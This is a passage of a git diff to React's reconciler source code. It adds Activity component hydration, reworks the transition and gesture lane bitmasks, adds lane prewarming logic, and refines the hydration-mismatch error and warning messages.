-): boolean {
-  if (__DEV__) {
-    let node: Fiber = fiber;
-    let foundHostInstances = false;
-    while (true) {
-      if (
-        node.tag === HostComponent ||
-        node.tag === HostHoistable ||
-        (supportsSingletons ? node.tag === HostSingleton : false)
-      ) {
-        // We got a match.
-        foundHostInstances = true;
-        hostInstances.add(node.stateNode);
-        // There may still be more, so keep searching.
-      } else if (node.child !== null) {
-        node.child.return = node;
-        node = node.child;
-        continue;
-      }
-      if (node === fiber) {
-        return foundHostInstances;
-      }
-      while (node.sibling === null) {
-        if (node.return === null || node.return === fiber) {
-          return foundHostInstances;
-        }
-        node = node.return;
+      if (sibling === null) {
+        break;
       }
-      node.sibling.return = node.return;
-      node = node.sibling;
-    }
+      fiber = sibling;
+    } while (true);
   }
-  return false;
 }
diff --git a/packages/react-reconciler/src/ReactFiberHydrationContext.js b/packages/react-reconciler/src/ReactFiberHydrationContext.js
index 1d2f69852a9d..0c758202b52f 100644
--- a/packages/react-reconciler/src/ReactFiberHydrationContext.js
+++ b/packages/react-reconciler/src/ReactFiberHydrationContext.js
@@ -12,10 +12,12 @@ import type {
   Instance,
   TextInstance,
   HydratableInstance,
+  ActivityInstance,
   SuspenseInstance,
   Container,
   HostContext,
 } from './ReactFiberConfig';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {SuspenseState} from './ReactFiberSuspenseComponent';
 import type {TreeContext} from './ReactFiberTreeContext';
 import type {CapturedValue} from './ReactCapturedValue';
@@ -26,8 +28,8 @@ import {
   HostSingleton,
   HostRoot,
   SuspenseComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
-import {favorSafetyOverHydrationPerf} from 'shared/ReactFeatureFlags';
 
 import {createCapturedValueAtFiber} from './ReactCapturedValue';
 
@@ -37,20 +39,26 @@ import {
   supportsHydration,
   supportsSingletons,
   getNextHydratableSibling,
+  getNextHydratableSiblingAfterSingleton,
   getFirstHydratableChild,
   getFirstHydratableChildWithinContainer,
+  getFirstHydratableChildWithinActivityInstance,
   getFirstHydratableChildWithinSuspenseInstance,
+  getFirstHydratableChildWithinSingleton,
   hydrateInstance,
   diffHydratedPropsForDevWarnings,
   describeHydratableInstanceForDevWarnings,
   hydrateTextInstance,
   diffHydratedTextForDevWarnings,
+  hydrateActivityInstance,
   hydrateSuspenseInstance,
+  getNextHydratableInstanceAfterActivityInstance,
   getNextHydratableInstanceAfterSuspenseInstance,
   shouldDeleteUnhydratedTailInstances,
   resolveSingletonInstance,
   canHydrateInstance,
   canHydrateTextInstance,
+  canHydrateActivityInstance,
   canHydrateSuspenseInstance,
   canHydrateFormStateMarker,
   isFormStateMarkerMatching,
@@ -65,6 +73,7 @@ import {
 import {queueRecoverableErrors} from './ReactFiberWorkLoop';
 import {getRootHostContainer, getHostContext} from './ReactFiberHostContext';
 import {describeDiff} from './ReactFiberHydrationDiffs';
+import {runWithFiberInDEV} from './ReactCurrentFiber';
 
 // The deepest Fiber on the stack involved in a hydration context.
 // This may have been an insertion or a hydration.
@@ -164,6 +173,29 @@ function enterHydrationState(fiber: Fiber): boolean {
   didSuspendOrErrorDEV = false;
   hydrationDiffRootDEV = null;
   rootOrSingletonContext = true;
+
+  return true;
+}
+
+function reenterHydrationStateFromDehydratedActivityInstance(
+  fiber: Fiber,
+  activityInstance: ActivityInstance,
+  treeContext: TreeContext | null,
+): boolean {
+  if (!supportsHydration) {
+    return false;
+  }
+  nextHydratableInstance =
+    getFirstHydratableChildWithinActivityInstance(activityInstance);
+  hydrationParentFiber = fiber;
+  isHydrating = true;
+  hydrationErrors = null;
+  didSuspendOrErrorDEV = false;
+  hydrationDiffRootDEV = null;
+  rootOrSingletonContext = false;
+  if (treeContext !== null) {
+    restoreSuspendedTreeContext(fiber, treeContext);
+  }
   return true;
 }
 
@@ -269,7 +301,43 @@ function tryHydrateText(fiber: Fiber, nextInstance: any) {
   return false;
 }
 
-function tryHydrateSuspense(fiber: Fiber, nextInstance: any) {
+function tryHydrateActivity(
+  fiber: Fiber,
+  nextInstance: any,
+): null | ActivityInstance {
+  // fiber is a ActivityComponent Fiber
+  const activityInstance = canHydrateActivityInstance(
+    nextInstance,
+    rootOrSingletonContext,
+  );
+  if (activityInstance !== null) {
+    const activityState: ActivityState = {
+      dehydrated: activityInstance,
+      treeContext: getSuspendedTreeContext(),
+      retryLane: OffscreenLane,
+      hydrationErrors: null,
+    };
+    fiber.memoizedState = activityState;
+    // Store the dehydrated fragment as a child fiber.
+    // This simplifies the code for getHostSibling and deleting nodes,
+    // since it doesn't have to consider all Suspense boundaries and
+    // check if they're dehydrated ones or not.
+    const dehydratedFragment =
+      createFiberFromDehydratedFragment(activityInstance);
+    dehydratedFragment.return = fiber;
+    fiber.child = dehydratedFragment;
+    hydrationParentFiber = fiber;
+    // While an Activity Instance does have children, we won't step into
+    // it during the first pass. Instead, we'll reenter it later.
+    nextHydratableInstance = null;
+  }
+  return activityInstance;
+}
+
+function tryHydrateSuspense(
+  fiber: Fiber,
+  nextInstance: any,
+): null | SuspenseInstance {
   // fiber is a SuspenseComponent Fiber
   const suspenseInstance = canHydrateSuspenseInstance(
     nextInstance,
@@ -280,6 +348,7 @@ function tryHydrateSuspense(fiber: Fiber, nextInstance: any) {
       dehydrated: suspenseInstance,
       treeContext: getSuspendedTreeContext(),
       retryLane: OffscreenLane,
+      hydrationErrors: null,
     };
     fiber.memoizedState = suspenseState;
     // Store the dehydrated fragment as a child fiber.
@@ -294,9 +363,8 @@ function tryHydrateSuspense(fiber: Fiber, nextInstance: any) {
     // While a Suspense Instance does have children, we won't step into
     // it during the first pass. Instead, we'll reenter it later.
     nextHydratableInstance = null;
-    return true;
   }
-  return false;
+  return suspenseInstance;
 }
 
 export const HydrationMismatchException: mixed = new Error(
@@ -304,7 +372,7 @@ export const HydrationMismatchException: mixed = new Error(
     "userspace. If you're seeing this, it's likely a bug in React.",
 );
 
-function throwOnHydrationMismatch(fiber: Fiber) {
+function throwOnHydrationMismatch(fiber: Fiber, fromText: boolean = false) {
   let diff = '';
   if (__DEV__) {
     // Consume the diff root for this mismatch.
@@ -316,7 +384,8 @@ function throwOnHydrationMismatch(fiber: Fiber) {
     }
   }
   const error = new Error(
-    "Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n" +
+    `Hydration failed because the server rendered ${fromText ? 'text' : 'HTML'} didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
+` +
       '\n' +
       "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
       "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
@@ -365,7 +434,11 @@ function claimHydratableSingleton(fiber: Fiber): void {
 
     hydrationParentFiber = fiber;
     rootOrSingletonContext = true;
-    nextHydratableInstance = getFirstHydratableChild(instance);
+    nextHydratableInstance = getFirstHydratableChildWithinSingleton(
+      fiber.type,
+      instance,
+      nextHydratableInstance,
+    );
   }
 }
 
@@ -414,15 +487,28 @@ function tryToClaimNextHydratableTextInstance(fiber: Fiber): void {
   }
 }
 
-function tryToClaimNextHydratableSuspenseInstance(fiber: Fiber): void {
-  if (!isHydrating) {
-    return;
+function claimNextHydratableActivityInstance(fiber: Fiber): ActivityInstance {
+  const nextInstance = nextHydratableInstance;
+  const activityInstance = nextInstance
+    ? tryHydrateActivity(fiber, nextInstance)
+    : null;
+  if (activityInstance === null) {
+    warnNonHydratedInstance(fiber, nextInstance);
+    throw throwOnHydrationMismatch(fiber);
   }
+  return activityInstance;
+}
+
+function claimNextHydratableSuspenseInstance(fiber: Fiber): SuspenseInstance {
   const nextInstance = nextHydratableInstance;
-  if (!nextInstance || !tryHydrateSuspense(fiber, nextInstance)) {
+  const suspenseInstance = nextInstance
+    ? tryHydrateSuspense(fiber, nextInstance)
+    : null;
+  if (suspenseInstance === null) {
     warnNonHydratedInstance(fiber, nextInstance);
-    throwOnHydrationMismatch(fiber);
+    throw throwOnHydrationMismatch(fiber);
   }
+  return suspenseInstance;
 }
 
 export function tryToClaimNextHydratableFormMarkerInstance(
@@ -472,8 +558,8 @@ function prepareToHydrateHostInstance(
     hostContext,
     fiber,
   );
-  if (!didHydrate && favorSafetyOverHydrationPerf) {
-    throwOnHydrationMismatch(fiber);
+  if (!didHydrate) {
+    throwOnHydrationMismatch(fiber, true);
   }
 }
 
@@ -538,9 +624,30 @@ function prepareToHydrateHostTextInstance(fiber: Fiber): void {
     fiber,
     parentProps,
   );
-  if (!didHydrate && favorSafetyOverHydrationPerf) {
-    throwOnHydrationMismatch(fiber);
+  if (!didHydrate) {
+    throwOnHydrationMismatch(fiber, true);
+  }
+}
+
+function prepareToHydrateHostActivityInstance(fiber: Fiber): void {
+  if (!supportsHydration) {
+    throw new Error(
+      'Expected prepareToHydrateHostActivityInstance() to never be called. ' +
+        'This error is likely caused by a bug in React. Please file an issue.',
+    );
+  }
+  const activityState: null | ActivityState = fiber.memoizedState;
+  const activityInstance: null | ActivityInstance =
+    activityState !== null ? activityState.dehydrated : null;
+
+  if (!activityInstance) {
+    throw new Error(
+      'Expected to have a hydrated activity instance. ' +
+        'This error is likely caused by a bug in React. Please file an issue.',
+    );
   }
+
+  hydrateActivityInstance(activityInstance, fiber);
 }
 
 function prepareToHydrateHostSuspenseInstance(fiber: Fiber): void {
@@ -565,6 +672,23 @@ function prepareToHydrateHostSuspenseInstance(fiber: Fiber): void {
   hydrateSuspenseInstance(suspenseInstance, fiber);
 }
 
+function skipPastDehydratedActivityInstance(
+  fiber: Fiber,
+): null | HydratableInstance {
+  const activityState: null | ActivityState = fiber.memoizedState;
+  const activityInstance: null | ActivityInstance =
+    activityState !== null ? activityState.dehydrated : null;
+
+  if (!activityInstance) {
+    throw new Error(
+      'Expected to have a hydrated suspense instance. ' +
+        'This error is likely caused by a bug in React. Please file an issue.',
+    );
+  }
+
+  return getNextHydratableInstanceAfterActivityInstance(activityInstance);
+}
+
 function skipPastDehydratedSuspenseInstance(
   fiber: Fiber,
 ): null | HydratableInstance {
@@ -592,14 +716,15 @@ function popToNextHostParent(fiber: Fiber): void {
   hydrationParentFiber = fiber.return;
   while (hydrationParentFiber) {
     switch (hydrationParentFiber.tag) {
-      case HostRoot:
-      case HostSingleton:
-        rootOrSingletonContext = true;
-        return;
       case HostComponent:
+      case ActivityComponent:
       case SuspenseComponent:
         rootOrSingletonContext = false;
         return;
+      case HostSingleton:
+      case HostRoot:
+        rootOrSingletonContext = true;
+        return;
       default:
         hydrationParentFiber = hydrationParentFiber.return;
     }
@@ -624,20 +749,25 @@ function popHydrationState(fiber: Fiber): boolean {
     return false;
   }
 
-  let shouldClear = false;
+  const tag = fiber.tag;
+
   if (supportsSingletons) {
     // With float we never clear the Root, or Singleton instances. We also do not clear Instances
     // that have singleton text content
     if (
-      fiber.tag !== HostRoot &&
-      fiber.tag !== HostSingleton &&
+      tag !== HostRoot &&
+      tag !== HostSingleton &&
       !(
-        fiber.tag === HostComponent &&
+        tag === HostComponent &&
         (!shouldDeleteUnhydratedTailInstances(fiber.type) ||
           shouldSetTextContent(fiber.type, fiber.memoizedProps))
       )
     ) {
-      shouldClear = true;
+      const nextInstance = nextHydratableInstance;
+      if (nextInstance) {
+        warnIfUnhydratedTailNodes(fiber);
+        throwOnHydrationMismatch(fiber);
+      }
     }
   } else {
     // If we have any remaining hydratable nodes, we need to delete them now.
@@ -645,24 +775,28 @@ function popHydrationState(fiber: Fiber): boolean {
     // other nodes in them. We also ignore components with pure text content in
     // side of them. We also don't delete anything inside the root container.
     if (
-      fiber.tag !== HostRoot &&
-      (fiber.tag !== HostComponent ||
+      tag !== HostRoot &&
+      (tag !== HostComponent ||
         (shouldDeleteUnhydratedTailInstances(fiber.type) &&
           !shouldSetTextContent(fiber.type, fiber.memoizedProps)))
     ) {
-      shouldClear = true;
-    }
-  }
-  if (shouldClear) {
-    const nextInstance = nextHydratableInstance;
-    if (nextInstance) {
-      warnIfUnhydratedTailNodes(fiber);
-      throwOnHydrationMismatch(fiber);
+      const nextInstance = nextHydratableInstance;
+      if (nextInstance) {
+        warnIfUnhydratedTailNodes(fiber);
+        throwOnHydrationMismatch(fiber);
+      }
     }
   }
   popToNextHostParent(fiber);
-  if (fiber.tag === SuspenseComponent) {
+  if (tag === SuspenseComponent) {
     nextHydratableInstance = skipPastDehydratedSuspenseInstance(fiber);
+  } else if (tag === ActivityComponent) {
+    nextHydratableInstance = skipPastDehydratedActivityInstance(fiber);
+  } else if (supportsSingletons && tag === HostSingleton) {
+    nextHydratableInstance = getNextHydratableSiblingAfterSingleton(
+      fiber.type,
+      nextHydratableInstance,
+    );
   } else {
     nextHydratableInstance = hydrationParentFiber
       ? getNextHydratableSibling(fiber.stateNode)
@@ -701,14 +835,55 @@ function resetHydrationState(): void {
   didSuspendOrErrorDEV = false;
 }
 
-export function upgradeHydrationErrorsToRecoverable(): void {
-  if (hydrationErrors !== null) {
+// Restore the hydration cursor when unwinding a HostComponent that already
+// claimed a DOM node. This is a fork of popHydrationState that does all the
+// same validity checks but restores the cursor to this fiber's DOM node
+// instead of advancing past it. It also does NOT clear unhydrated tail nodes
+// or throw on mismatches since we're unwinding, not completing.
+//
+// This is needed when replaySuspendedUnitOfWork calls unwindInterruptedWork
+// before re-running beginWork on the same fiber, or when throwAndUnwindWorkLoop
+// calls unwindWork on ancestor fibers.
+function popHydrationStateOnInterruptedWork(fiber: Fiber): void {
+  if (!supportsHydration) {
+    return;
+  }
+  if (fiber !== hydrationParentFiber) {
+    // We're deeper than the current hydration context, inside an inserted
+    // tree. Don't touch the cursor.
+    return;
+  }
+  if (!isHydrating) {
+    // If we're not currently hydrating but we're in a hydration context, then
+    // we were an insertion and now need to pop up to reenter hydration of our
+    // siblings. Same as popHydrationState.
+    popToNextHostParent(fiber);
+    isHydrating = true;
+    return;
+  }
+
+  // We're in a valid hydration context. Restore the cursor to this fiber's
+  // DOM node so that when beginWork re-runs, it can claim the same node.
+  // Unlike popHydrationState, we do NOT check for unhydrated tail nodes
+  // or advance the cursor - we're restoring, not completing.
+  popToNextHostParent(fiber);
+  if (fiber.tag === HostComponent && fiber.stateNode != null) {
+    nextHydratableInstance = fiber.stateNode;
+  }
+}
+
+export function upgradeHydrationErrorsToRecoverable(): Array<
+  CapturedValue<mixed>,
+> | null {
+  const queuedErrors = hydrationErrors;
+  if (queuedErrors !== null) {
     // Successfully completed a forced client render. The errors that occurred
     // during the hydration attempt are now recovered. We will log them in
     // commit phase, once the entire tree has finished.
-    queueRecoverableErrors(hydrationErrors);
+    queueRecoverableErrors(queuedErrors);
     hydrationErrors = null;
   }
+  return queuedErrors;
 }
 
 function getIsHydrating(): boolean {
@@ -731,22 +906,32 @@ export function emitPendingHydrationWarnings() {
     if (diffRoot !== null) {
       hydrationDiffRootDEV = null;
       const diff = describeDiff(diffRoot);
-      console.error(
-        "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. " +
-          'This can happen if a SSR-ed Client Component used:\n' +
-          '\n' +
-          "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
-          "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
-          "- Date formatting in a user's locale which doesn't match the server.\n" +
-          '- External changing data without sending a snapshot of it along with the HTML.\n' +
-          '- Invalid HTML tag nesting.\n' +
-          '\n' +
-          'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n' +
-          '\n' +
-          '%s%s',
-        'https://react.dev/link/hydration-mismatch',
-        diff,
-      );
+
+      // Just pick the DFS-first leaf as the owner.
+      // Should be good enough since most warnings only have a single error.
+      let diffOwner: HydrationDiffNode = diffRoot;
+      while (diffOwner.children.length > 0) {
+        diffOwner = diffOwner.children[0];
+      }
+
+      runWithFiberInDEV(diffOwner.fiber, () => {
+        console.error(
+          "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. " +
+            'This can happen if a SSR-ed Client Component used:\n' +
+            '\n' +
+            "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+            "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+            "- Date formatting in a user's locale which doesn't match the server.\n" +
+            '- External changing data without sending a snapshot of it along with the HTML.\n' +
+            '- Invalid HTML tag nesting.\n' +
+            '\n' +
+            'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n' +
+            '\n' +
+            '%s%s',
+          'https://react.dev/link/hydration-mismatch',
+          diff,
+        );
+      });
     }
   }
 }
@@ -755,14 +940,18 @@ export {
   warnIfHydrating,
   enterHydrationState,
   getIsHydrating,
+  reenterHydrationStateFromDehydratedActivityInstance,
   reenterHydrationStateFromDehydratedSuspenseInstance,
   resetHydrationState,
+  popHydrationStateOnInterruptedWork,
   claimHydratableSingleton,
   tryToClaimNextHydratableInstance,
   tryToClaimNextHydratableTextInstance,
-  tryToClaimNextHydratableSuspenseInstance,
+  claimNextHydratableActivityInstance,
+  claimNextHydratableSuspenseInstance,
   prepareToHydrateHostInstance,
   prepareToHydrateHostTextInstance,
+  prepareToHydrateHostActivityInstance,
   prepareToHydrateHostSuspenseInstance,
   popHydrationState,
 };
diff --git a/packages/react-reconciler/src/ReactFiberHydrationDiffs.js b/packages/react-reconciler/src/ReactFiberHydrationDiffs.js
index 021da8abf33f..51df2a25d6c5 100644
--- a/packages/react-reconciler/src/ReactFiberHydrationDiffs.js
+++ b/packages/react-reconciler/src/ReactFiberHydrationDiffs.js
@@ -14,6 +14,7 @@ import {
   HostHoistable,
   HostSingleton,
   LazyComponent,
+  ActivityComponent,
   SuspenseComponent,
   SuspenseListComponent,
   FunctionComponent,
@@ -23,6 +24,8 @@ import {
   HostText,
 } from './ReactWorkTags';
 
+import {enableSrcObject} from 'shared/ReactFeatureFlags';
+
 import {REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';
 import assign from 'shared/assign';
 import getComponentNameFromType from 'shared/getComponentNameFromType';
@@ -81,6 +84,8 @@ function describeFiberType(fiber: Fiber): null | string {
       return fiber.type;
     case LazyComponent:
       return 'Lazy';
+    case ActivityComponent:
+      return 'Activity';
     case SuspenseComponent:
       return 'Suspense';
     case SuspenseListComponent:
@@ -101,7 +106,7 @@ function describeFiberType(fiber: Fiber): null | string {
   }
 }
 
-const needsEscaping = /["'&<>\n\t]/;
+const needsEscaping = /["'&<>\n\t]|^\s|\s$/;
 
 function describeTextNode(content: string, maxLength: number): string {
   if (needsEscaping.test(content)) {
@@ -222,6 +227,8 @@ function describeValue(value: mixed, maxLength: number): string {
             (properties === '' ? '' : ',') + propName + ':' + propValue;
         }
         return '{' + properties + '}';
+      } else if (enableSrcObject && (name === 'Blob' || name === 'File')) {
+        return name + ':' + (value: any).type;
       }
       return name;
     }
@@ -498,9 +505,15 @@ function describeElementDiff(
     typeof clientChildren === 'number' ||
     typeof clientChildren === 'bigint'
   ) {
-    // The client has children but it's not considered a difference from the server.
-    // $FlowFixMe[unsafe-addition]
-    content += describeTextDiff('' + clientChildren, undefined, indent + 1);
+    if (serverChildren == null) {
+      // This is a new string child.
+      // $FlowFixMe[unsafe-addition]
+      content += describeTextDiff('' + clientChildren, null, indent + 1);
+    } else {
+      // The client has children but it's not considered a difference from the server.
+      // $FlowFixMe[unsafe-addition]
+      content += describeTextDiff('' + clientChildren, undefined, indent + 1);
+    }
   }
   return content;
 }
@@ -554,6 +567,7 @@ function describeNode(node: HydrationDiffNode, indent: number): string {
   if (node.fiber.tag === HostText) {
     // Text Node
     selfContent = describeTextDiff(clientProps, node.serverProps, indent);
+    indent++;
   } else {
     const type = describeFiberType(node.fiber);
     if (type !== null) {
@@ -564,9 +578,7 @@ function describeNode(node: HydrationDiffNode, indent: number): string {
         indent++;
       } else if (node.serverProps === null) {
         selfContent = describeExpandedElement(type, clientProps, added(indent));
-        // If this was an insertion we won't step down further. Any tail
-        // are considered siblings so we don't indent.
-        // TODO: Model this a little better.
+        indent++;
       } else if (typeof node.serverProps === 'string') {
         if (__DEV__) {
           console.error(
@@ -611,6 +623,9 @@ function describeNode(node: HydrationDiffNode, indent: number): string {
 
   // Deleted tail nodes
   const serverTail = node.serverTail;
+  if (node.serverProps === null) {
+    indent--;
+  }
   for (let i = 0; i < serverTail.length; i++) {
     const tailNode = serverTail[i];
     if (typeof tailNode === 'string') {
diff --git a/packages/react-reconciler/src/ReactFiberLane.js b/packages/react-reconciler/src/ReactFiberLane.js
index cde23ef9a624..987f0338ad1a 100644
--- a/packages/react-reconciler/src/ReactFiberLane.js
+++ b/packages/react-reconciler/src/ReactFiberLane.js
@@ -8,7 +8,7 @@
  */
 
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
-import type {Transition} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
 import type {ConcurrentUpdate} from './ReactFiberConcurrentUpdates';
 
 // TODO: Ideally these types would be opaque but that doesn't work well with
@@ -19,19 +19,21 @@ export type Lane = number;
 export type LaneMap<T> = Array<T>;
 
 import {
-  allowConcurrentByDefault,
   enableRetryLaneExpiration,
   enableSchedulingProfiler,
   enableTransitionTracing,
-  enableUnifiedSyncLane,
   enableUpdaterTracking,
   syncLaneExpirationMs,
   transitionLaneExpirationMs,
   retryLaneExpirationMs,
+  disableLegacyMode,
+  enableDefaultTransitionIndicator,
+  enableGestureTransition,
+  enableParallelTransitions,
 } from 'shared/ReactFeatureFlags';
 import {isDevToolsPresent} from './ReactFiberDevToolsHook';
-import {ConcurrentUpdatesByDefaultMode, NoMode} from './ReactTypeOfMode';
 import {clz32} from './clz32';
+import {LegacyRoot} from './ReactRootTags';
 
 // Lane values below should be kept in sync with getLabelForLane(), used by react-devtools-timeline.
 // If those values are changed that package should be rebuilt and redeployed.
@@ -51,27 +53,43 @@ export const InputContinuousLane: Lane = /*             */ 0b0000000000000000000
 export const DefaultHydrationLane: Lane = /*            */ 0b0000000000000000000000000010000;
 export const DefaultLane: Lane = /*                     */ 0b0000000000000000000000000100000;
 
-export const SyncUpdateLanes: Lane = enableUnifiedSyncLane
-  ? SyncLane | InputContinuousLane | DefaultLane
-  : SyncLane;
-
-const TransitionHydrationLane: Lane = /*                */ 0b0000000000000000000000001000000;
-const TransitionLanes: Lanes = /*                       */ 0b0000000001111111111111110000000;
-const TransitionLane1: Lane = /*                        */ 0b0000000000000000000000010000000;
-const TransitionLane2: Lane = /*                        */ 0b0000000000000000000000100000000;
-const TransitionLane3: Lane = /*                        */ 0b0000000000000000000001000000000;
-const TransitionLane4: Lane = /*                        */ 0b0000000000000000000010000000000;
-const TransitionLane5: Lane = /*                        */ 0b0000000000000000000100000000000;
-const TransitionLane6: Lane = /*                        */ 0b0000000000000000001000000000000;
-const TransitionLane7: Lane = /*                        */ 0b0000000000000000010000000000000;
-const TransitionLane8: Lane = /*                        */ 0b0000000000000000100000000000000;
-const TransitionLane9: Lane = /*                        */ 0b0000000000000001000000000000000;
-const TransitionLane10: Lane = /*                       */ 0b0000000000000010000000000000000;
-const TransitionLane11: Lane = /*                       */ 0b0000000000000100000000000000000;
-const TransitionLane12: Lane = /*                       */ 0b0000000000001000000000000000000;
-const TransitionLane13: Lane = /*                       */ 0b0000000000010000000000000000000;
-const TransitionLane14: Lane = /*                       */ 0b0000000000100000000000000000000;
-const TransitionLane15: Lane = /*                       */ 0b0000000001000000000000000000000;
+export const SyncUpdateLanes: Lane =
+  SyncLane | InputContinuousLane | DefaultLane;
+
+export const GestureLane: Lane = /*                     */ 0b0000000000000000000000001000000;
+
+const TransitionHydrationLane: Lane = /*                */ 0b0000000000000000000000010000000;
+const TransitionLanes: Lanes = /*                       */ 0b0000000001111111111111100000000;
+const TransitionLane1: Lane = /*                        */ 0b0000000000000000000000100000000;
+const TransitionLane2: Lane = /*                        */ 0b0000000000000000000001000000000;
+const TransitionLane3: Lane = /*                        */ 0b0000000000000000000010000000000;
+const TransitionLane4: Lane = /*                        */ 0b0000000000000000000100000000000;
+const TransitionLane5: Lane = /*                        */ 0b0000000000000000001000000000000;
+const TransitionLane6: Lane = /*                        */ 0b0000000000000000010000000000000;
+const TransitionLane7: Lane = /*                        */ 0b0000000000000000100000000000000;
+const TransitionLane8: Lane = /*                        */ 0b0000000000000001000000000000000;
+const TransitionLane9: Lane = /*                        */ 0b0000000000000010000000000000000;
+const TransitionLane10: Lane = /*                       */ 0b0000000000000100000000000000000;
+const TransitionLane11: Lane = /*                       */ 0b0000000000001000000000000000000;
+const TransitionLane12: Lane = /*                       */ 0b0000000000010000000000000000000;
+const TransitionLane13: Lane = /*                       */ 0b0000000000100000000000000000000;
+const TransitionLane14: Lane = /*                       */ 0b0000000001000000000000000000000;
+
+export const SomeTransitionLane: Lane = TransitionLane1;
+
+const TransitionUpdateLanes =
+  TransitionLane1 |
+  TransitionLane2 |
+  TransitionLane3 |
+  TransitionLane4 |
+  TransitionLane5 |
+  TransitionLane6 |
+  TransitionLane7 |
+  TransitionLane8 |
+  TransitionLane9 |
+  TransitionLane10;
+const TransitionDeferredLanes =
+  TransitionLane11 | TransitionLane12 | TransitionLane13 | TransitionLane14;
 
 const RetryLanes: Lanes = /*                            */ 0b0000011110000000000000000000000;
 const RetryLane1: Lane = /*                             */ 0b0000000010000000000000000000000;
@@ -94,7 +112,15 @@ export const DeferredLane: Lane = /*                    */ 0b1000000000000000000
 // Any lane that might schedule an update. This is used to detect infinite
 // update loops, so it doesn't include hydration lanes or retries.
 export const UpdateLanes: Lanes =
-  SyncLane | InputContinuousLane | DefaultLane | TransitionLanes;
+  SyncLane | InputContinuousLane | DefaultLane | TransitionUpdateLanes;
+
+export const HydrationLanes =
+  SyncHydrationLane |
+  InputContinuousHydrationLane |
+  DefaultHydrationLane |
+  TransitionHydrationLane |
+  SelectiveHydrationLane |
+  IdleHydrationLane;
 
 // This function is used for the experimental timeline (react-devtools-timeline)
 // It should be kept in sync with the Lanes values above.
@@ -147,15 +173,14 @@ export function getLabelForLane(lane: Lane): string | void {
 
 export const NoTimestamp = -1;
 
-let nextTransitionLane: Lane = TransitionLane1;
+let nextTransitionUpdateLane: Lane = TransitionLane1;
+let nextTransitionDeferredLane: Lane = TransitionLane11;
 let nextRetryLane: Lane = RetryLane1;
 
 function getHighestPriorityLanes(lanes: Lanes | Lane): Lanes {
-  if (enableUnifiedSyncLane) {
-    const pendingSyncLanes = lanes & SyncUpdateLanes;
-    if (pendingSyncLanes !== 0) {
-      return pendingSyncLanes;
-    }
+  const pendingSyncLanes = lanes & SyncUpdateLanes;
+  if (pendingSyncLanes !== 0) {
+    return pendingSyncLanes;
   }
   switch (getHighestPriorityLane(lanes)) {
     case SyncHydrationLane:
@@ -170,6 +195,8 @@ function getHighestPriorityLanes(lanes: Lanes | Lane): Lanes {
       return DefaultHydrationLane;
     case DefaultLane:
       return DefaultLane;
+    case GestureLane:
+      return GestureLane;
     case TransitionHydrationLane:
       return TransitionHydrationLane;
     case TransitionLane1:
@@ -182,12 +209,15 @@ function getHighestPriorityLanes(lanes: Lanes | Lane): Lanes {
     case TransitionLane8:
     case TransitionLane9:
     case TransitionLane10:
+      if (enableParallelTransitions) {
+        return getHighestPriorityLane(lanes);
+      }
+      return lanes & TransitionUpdateLanes;
     case TransitionLane11:
     case TransitionLane12:
     case TransitionLane13:
     case TransitionLane14:
-    case TransitionLane15:
-      return lanes & TransitionLanes;
+      return lanes & TransitionDeferredLanes;
     case RetryLane1:
     case RetryLane2:
     case RetryLane3:
@@ -216,7 +246,11 @@ function getHighestPriorityLanes(lanes: Lanes | Lane): Lanes {
   }
 }
 
-export function getNextLanes(root: FiberRoot, wipLanes: Lanes): Lanes {
+export function getNextLanes(
+  root: FiberRoot,
+  wipLanes: Lanes,
+  rootHasPendingCommit: boolean,
+): Lanes {
   // Early bailout if there's no pending work left.
   const pendingLanes = root.pendingLanes;
   if (pendingLanes === NoLanes) {
@@ -227,28 +261,66 @@ export function getNextLanes(root: FiberRoot, wipLanes: Lanes): Lanes {
 
   const suspendedLanes = root.suspendedLanes;
   const pingedLanes = root.pingedLanes;
+  const warmLanes = root.warmLanes;
+
+  // finishedLanes represents a completed tree that is ready to commit.
+  //
+  // It's not worth doing discarding the completed tree in favor of performing
+  // speculative work. So always check this before deciding to warm up
+  // the siblings.
+  //
+  // Note that this is not set in a "suspend indefinitely" scenario, like when
+  // suspending outside of a Suspense boundary, or in the shell during a
+  // transition — only in cases where we are very likely to commit the tree in
+  // a brief amount of time (i.e. below the "Just Noticeable Difference"
+  // threshold).
+  //
 
   // Do not work on any idle work until all the non-idle work has finished,
   // even if the work is suspended.
   const nonIdlePendingLanes = pendingLanes & NonIdleLanes;
   if (nonIdlePendingLanes !== NoLanes) {
+    // First check for fresh updates.
     const nonIdleUnblockedLanes = nonIdlePendingLanes & ~suspendedLanes;
     if (nonIdleUnblockedLanes !== NoLanes) {
       nextLanes = getHighestPriorityLanes(nonIdleUnblockedLanes);
     } else {
+      // No fresh updates. Check if suspended work has been pinged.
       const nonIdlePingedLanes = nonIdlePendingLanes & pingedLanes;
       if (nonIdlePingedLanes !== NoLanes) {
         nextLanes = getHighestPriorityLanes(nonIdlePingedLanes);
+      } else {
+        // Nothing has been pinged. Check for lanes that need to be prewarmed.
+        if (!rootHasPendingCommit) {
+          const lanesToPrewarm = nonIdlePendingLanes & ~warmLanes;
+          if (lanesToPrewarm !== NoLanes) {
+            nextLanes = getHighestPriorityLanes(lanesToPrewarm);
+          }
+        }
       }
     }
   } else {
     // The only remaining work is Idle.
+    // TODO: Idle isn't really used anywhere, and the thinking around
+    // speculative rendering has evolved since this was implemented. Consider
+    // removing until we've thought about this again.
+
+    // First check for fresh updates.
     const unblockedLanes = pendingLanes & ~suspendedLanes;
     if (unblockedLanes !== NoLanes) {
